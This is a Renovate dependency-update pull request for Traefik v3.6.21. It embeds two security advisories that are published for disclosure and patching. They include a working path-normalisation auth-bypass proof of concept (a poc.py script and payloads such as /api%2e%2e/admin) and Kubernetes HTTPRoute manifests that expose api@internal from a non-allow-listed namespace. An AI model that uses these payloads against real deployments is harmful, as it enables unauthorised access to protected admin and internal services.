Skip to content

Update module github.com/traefik/traefik/v3 to v3.6.21 [SECURITY]#2388

Merged
avnes merged 2 commits into
masterfrom
feature/renovate/go-github.com-traefik-traefik-v3-vulnerability
Jul 6, 2026
Merged

Update module github.com/traefik/traefik/v3 to v3.6.21 [SECURITY]#2388
avnes merged 2 commits into
masterfrom
feature/renovate/go-github.com-traefik-traefik-v3-vulnerability

Conversation

@devex-sa

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
github.com/traefik/traefik/v3 v3.6.17v3.6.21 age confidence

Traefik has a StripPrefix Route-Level Auth Bypass via Path Normalization

CVE-2026-48020 / GHSA-xf64-8mw2-4gr2

More information

Details

Summary

There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.

Patches
For more information

If there are any questions or comments about this advisory, please open an issue.

Original Description
Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)
Summary

A route-level authentication/authorization bypas was found in Traefik when PathPrefix-based public routes are combined with StripPrefix.

A request using /api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.

This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed StripPrefixRegex / path-normalization issues.

This report specifically affects StripPrefix.

Affected Versions Tested
Image Observed Version Result
traefik:v2.11 v2.11.46 Affected
traefik:v3.6 v3.6.17 Affected
traefik:latest v3.7.1 Affected
Lab Contrast
Image Result
traefik:v2.10 Not reproduced in lab
traefik:v3.5 Not reproduced in lab
Vulnerable Configuration Pattern

The issue appears when:

  • a broad public route strips a prefix
  • while a separate protected route is intended to guard internal/admin paths
http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000
Observed Behavior
Direct Protected Paths

These are correctly blocked.

Request Expected Observed
GET /admin Blocked 401
GET /internal/config Blocked 401
Expected Public Exclusions

These do not expose protected backend paths.

Request Expected Observed
GET /api/admin Not routed to protected backend path 404
GET /api/internal/config Not routed to protected backend path 404
Bypass Payloads

These reach protected backend paths.

Request Observed Status Backend Receives
GET /api../admin 200 /admin
GET /api%2e%2e/admin 200 /admin
GET /api../internal/config 200 /internal/config
GET /api%2e%2e/internal/config 200 /internal/config
Minimal PoC
docker-compose.yml
services:
  traefik:
    image: traefik:v3.7
    command:
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --entrypoints.web.address=:8080
      - --accesslog=true
    ports:
      - "127.0.0.1:18080:8080"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
    depends_on:
      - backend

  backend:
    image: python:3.12-slim
    working_dir: /app
    command: python backend.py
    volumes:
      - ./backend.py:/app/backend.py:ro
    expose:
      - "9000"
dynamic.yml
http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000
backend.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        return

    def _json(self, status, obj):
        body = json.dumps(obj).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        if self.path == "/admin":
            self._json(200, {
                "seen_path": self.path,
                "secret": "ADMIN_SECRET_REACHED"
            })
        elif self.path == "/internal/config":
            self._json(200, {
                "seen_path": self.path,
                "secret": "TRAEFIK_LAB_INTERNAL_CONFIG"
            })
        elif self.path == "/admin/exec":
            self._json(200, {
                "seen_path": self.path,
                "rce_chain_marker": True,
                "note": "protected execution endpoint reached"
            })
        else:
            self._json(404, {
                "seen_path": self.path,
                "secret": None
            })

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()
poc.py
#!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError

BASE = "http://127.0.0.1:18080"

PATHS = [
    "/admin",
    "/internal/config",
    "/api/admin",
    "/api/internal/config",
    "/api../admin",
    "/api%2e%2e/admin",
    "/api../internal/config",
    "/api%2e%2e/internal/config",
    "/admin/exec",
    "/api/admin/exec",
    "/api../admin/exec",
    "/api%2e%2e/admin/exec",
]

for path in PATHS:
    req = Request(BASE + path)
    try:
        with urlopen(req, timeout=5) as r:
            status = r.status
            body = r.read().decode(errors="replace")
    except HTTPError as e:
        status = e.code
        body = e.read().decode(errors="replace")

    print(f"{path:28} {status} {body[:180]}")
Run
docker compose up -d
python3 poc.py
Expected Vulnerable Output
/admin                       401
/internal/config             401
/api/admin                   404
/api/internal/config         404
/api../admin                 200  backend seen_path=/admin
/api%2e%2e/admin             200  backend seen_path=/admin
/api../internal/config       200  backend seen_path=/internal/config
/api%2e%2e/internal/config   200  backend seen_path=/internal/config
/api../admin/exec            200  protected execution endpoint reached
/api%2e%2e/admin/exec        200  protected execution endpoint reached
Root Cause Hypothesis

The vulnerable behavior appears to be caused by path normalization after prefix stripping.

Incoming path:              /api../admin
After StripPrefix("/api"):  /../admin
After JoinPath():           /admin

The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.

The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.

Security Impact

An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.

Potential impact includes:

  • Access to protected admin paths
  • Access to internal configuration endpoints
  • Exposure of secrets returned by internal backends
  • Access to protected backend management functionality
  • Conditional RCE if the protected backend exposes an execution primitive

In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.

This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.

Suggested Severity

Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.

If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.

Weakness

Primary CWE:

  • CWE-863: Incorrect Authorization

Related weakness candidates:

  • CWE-180: Incorrect Behavior Order: Validate Before Canonicalize
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Mitigation Verified in Lab

The bypass was blocked when using a stricter prefix boundary:

PathRegexp(`^/api(/|$)`)

or:

PathPrefix(`/api/`) with StripPrefix(`/api/`)
Relation to Existing Advisories

This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.

This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.

Reporter

WonYun / kyun0

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Traefik: Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services

CVE-2026-54761 / GHSA-3g6v-2r68-prfc

More information

Details

Summary

There is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the crossProviderNamespaces allowlist. For HTTPRoute rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target backendRef.namespace instead of the route's own namespace. As a result, an HTTPRoute created in a namespace that is not allow-listed can reference a cross-provider TraefikService such as api@internal, dashboard@internal or rest@internal by pointing backendRef.namespace at an allow-listed namespace covered by a Gateway API ReferenceGrant, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted HTTPRoute and a matching ReferenceGrant from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.

Patches
For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description
Summary

The Kubernetes Gateway provider's crossProviderNamespaces option is documented as restricting which Gateway API route namespaces may declare TraefikService backendRefs.

For HTTPRoute rules with multiple backendRefs, Traefik checks this allowlist against backendRef.namespace instead of the HTTPRoute namespace. A route in a namespace that is not allow-listed can therefore add api@internal to the generated WRR service by setting backendRef.namespace to an allow-listed namespace, as long as a normal Gateway API ReferenceGrant permits that cross-namespace reference.

Verified affected versions:

  • v3.7.1 (fa49e2bcad7ffd8a80accdf1fae1ae480913d93d)
  • current source/master tested by me (29406d42898547f1ffabd904f66af06c212740cf)
Expected Behavior

With:

providers:
  kubernetesGateway:
    crossProviderNamespaces:
      - trusted

only Gateway API routes whose own namespace is trusted should be allowed to declare TraefikService backendRefs such as api@internal, dashboard@internal, or rest@internal.

An HTTPRoute in namespace attacker should not be able to expose an internal Traefik service by setting:

backendRefs:
  - group: traefik.io
    kind: TraefikService
    name: api@internal
    namespace: trusted
Actual Behavior

For an HTTPRoute in namespace attacker with two backendRefs, Traefik generates a WRR service containing:

[api@internal attacker-whoami-http-80]

even though crossProviderNamespaces only allows trusted.

Threat Model

This does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's crossProviderNamespaces policy: namespaces outside the allowlist should not be able to declare cross-provider TraefikService backendRefs.

The precondition is a Gateway API environment where an untrusted or less-trusted namespace can create HTTPRoute objects accepted by a Gateway, and a namespace in the crossProviderNamespaces allowlist has a matching ReferenceGrant. ReferenceGrant should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.

A Gateway API ReferenceGrant should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's crossProviderNamespaces option is an additional Traefik-specific security control for cross-provider TraefikService backendRefs, especially @internal services. Therefore a ReferenceGrant from trusted must not make a route in attacker equivalent to a route whose own namespace is trusted.

Required Attacker Capability

Required:

  • create or modify an HTTPRoute in namespace attacker;
  • have that HTTPRoute accepted by a Gateway;
  • rely on an existing ReferenceGrant from an allow-listed namespace, or on a delegated namespace setup where such ReferenceGrant objects are managed separately from Traefik's provider configuration.

Not required:

  • modifying Traefik static configuration;
  • modifying the Traefik deployment or Traefik RBAC;
  • modifying resources in the Traefik deployment namespace;
  • modifying providers.kubernetesGateway.crossProviderNamespaces;
  • enabling api.insecure;
  • exposing the dashboard/API entrypoint directly.
Documentation Evidence

The documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in backendRef.namespace.

The Kubernetes Gateway provider option is documented as:

List of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.

The migration notes also describe the security reason for the option:

those references ... allow a user to cross namespace boundaries, as well as exposing @​internal services, that only the operator should be able to expose.

and the documented behavior is:

["ns-a"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.

The provider struct uses the same route-namespace wording:

CrossProviderNamespaces []string `description:"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references." ...`

The reproduced route kind is HTTPRoute; no Gateway API experimental-channel resources are required for the PoC.

PoC

I validated the issue end-to-end in a local kind cluster with Traefik v3.7.1, real Gateway API CRDs, real Kubernetes Gateway, HTTPRoute, and ReferenceGrant resources, and HTTP requests to Traefik's normal web entrypoint.

The complete local reproducer I used is a self-contained kind PoC with these files:

external-repro-kind/kind-config.yaml
external-repro-kind/traefik-v371.yaml
external-repro-kind/gateway-exploit.yaml
external-repro-kind/run-kind-repro.sh

Run command:

./external-repro-kind/run-kind-repro.sh

The script creates a local kind cluster, loads local traefik:v3.7.1 and traefik/whoami:v1.11.0 images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit curl requests to 127.0.0.1:18080, prints route status, and deletes the cluster on exit.

Traefik was started with:

--api=true
--api.dashboard=true
--api.insecure=false
--providers.kubernetesgateway=true
--providers.kubernetesgateway.crossprovidernamespaces=trusted

The local host entrypoint was:

127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint

The target namespace has a normal Gateway API ReferenceGrant:

apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
  name: allow-attacker-to-traefikservice
  namespace: trusted
spec:
  from:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      namespace: attacker
  to:
    - group: traefik.io
      kind: TraefikService

Positive control:

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: single-backend-control
  namespace: attacker
spec:
  parentRefs:
    - name: shared-gateway
      namespace: default
  hostnames:
    - control.localhost
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /api
      backendRefs:
        - group: traefik.io
          kind: TraefikService
          name: api@internal
          namespace: trusted
          port: 80
          weight: 1

Bypass:

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: mixed-backend-bypass
  namespace: attacker
spec:
  parentRefs:
    - name: shared-gateway
      namespace: default
  hostnames:
    - exploit.localhost
  rules:
    - matches:
        - path:
            type: PathPrefix
            value: /api
      backendRefs:
        - group: traefik.io
          kind: TraefikService
          name: api@internal
          namespace: trusted
          port: 80
          weight: 1000000
        - group: ""
          kind: Service
          name: whoami
          port: 80
          weight: 1

Observed external result:

control: single-backend route from attacker namespace should not expose api@internal
control status: 404
404 page not found

exploit: mixed backendRef route from attacker namespace exposes api@internal
exploit returned Traefik API JSON
api@internal status: enabled
weighted members:
api@internal              1000000
attacker-whoami-http-80  1

The HTTPRoute status shows the boundary difference:

single-backend-control:
  Accepted=True
  ResolvedRefs=False
  Reason=RefNotPermitted
  Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces

mixed-backend-bypass:
  Accepted=True
  ResolvedRefs=True

This is the externally visible security failure: the same route namespace and same api@internal backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.

Minimized Root Cause Test

I also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external kind PoC above is the primary impact reproduction.

Files:

  • probe/crossprovider_namespace_probe_test.go
  • probe/cross_provider_namespace_probe.yml
  • probe/cross_provider_namespace_single_control.yml

Reproduction:

cp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/
cp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/
go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v

Observed output on both tested versions:

Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]

The reproducer also includes a positive control:

=== RUN   TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl
--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl

That control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.

Root Cause

The single-internal-service path checks the route namespace:

case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef):
    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {

The mixed/multiple backendRef path calls loadService. In loadService, namespace is overwritten from backendRef.Namespace, then passed to loadHTTPBackendRef:

namespace := route.Namespace
if backendRef.Namespace != nil && *backendRef.Namespace != "" {
    namespace = string(*backendRef.Namespace)
}
...
name, service, err := p.loadHTTPBackendRef(namespace, backendRef)

loadHTTPBackendRef then checks crossProviderNamespaces against this target namespace:

if *backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@​") {
    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {

This lets a disallowed route namespace choose an allow-listed target namespace and pass the check.

Impact

An untrusted route namespace may expose internal Traefik services through Gateway HTTPRoute despite being excluded from crossProviderNamespaces.

Potentially exposed internal services include:

  • api@internal
  • dashboard@internal
  • rest@internal

This is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway ReferenceGrant delegation is used, but the observed behavior violates the documented security boundary of crossProviderNamespaces.

I also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:

Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized
Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found

When a router on the normal web entrypoint references api@internal, the same API endpoint becomes unauthenticated:

Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK
service: api@internal

A WRR service containing api@internal also exposes the API:

Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK
weighted services:
api@internal 1000
echo-svc      1

This is the security consequence of the provider bug: a namespace that should be blocked by crossProviderNamespaces can make Traefik generate a service graph containing api@internal on a route it controls.

Suggested Fix

For Gateway HTTPRoute TraefikService cross-provider backendRefs, validate crossProviderNamespaces against route.Namespace in all code paths, including mixed/WRR backendRefs.


Severity

  • CVSS Score: 6.0 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

traefik/traefik (github.com/traefik/traefik/v3)

v3.6.21

Compare Source

All Commits

Bug fixes:

v3.6.20

Compare Source

All Commits

Bug fixes:

v3.6.19

Compare Source

All Commits

Bug fixes:

Documentation:

v3.6.18

Compare Source

All Commits

Release canceled.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@devex-sa devex-sa requested a review from a team as a code owner June 18, 2026 12:34
@devex-sa devex-sa added norelease release:patch Triggers a patch release labels Jun 18, 2026
@devex-sa

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: test/integration/suite/go.sum
Command failed: go get -t ./...
go: errors parsing go.mod:
/tmp/renovate/repos/github/dfds/infrastructure-modules/test/integration/suite/go.mod:3: invalid go version '1.26.0': must match format 1.23

@github-actions github-actions Bot removed the release:patch Triggers a patch release label Jun 18, 2026
@DFDS-Snyk

DFDS-Snyk commented Jun 18, 2026

Copy link
Copy Markdown

Snyk checks have passed. No issues have been found so far.

Status Scan Engine Critical High Medium Low Total (0)
Open Source Security 0 0 0 0 0 issues
Licenses 0 0 0 0 0 issues
Code Security 0 0 0 0 0 issues

💻 Catch issues earlier using the plugins for VS Code, JetBrains IDEs, Visual Studio, and Eclipse.

@devex-sa

Copy link
Copy Markdown
Contributor Author

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

@avnes avnes merged commit 13ab21e into master Jul 6, 2026
9 checks passed
@avnes avnes deleted the feature/renovate/go-github.com-traefik-traefik-v3-vulnerability branch July 6, 2026 16:03
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants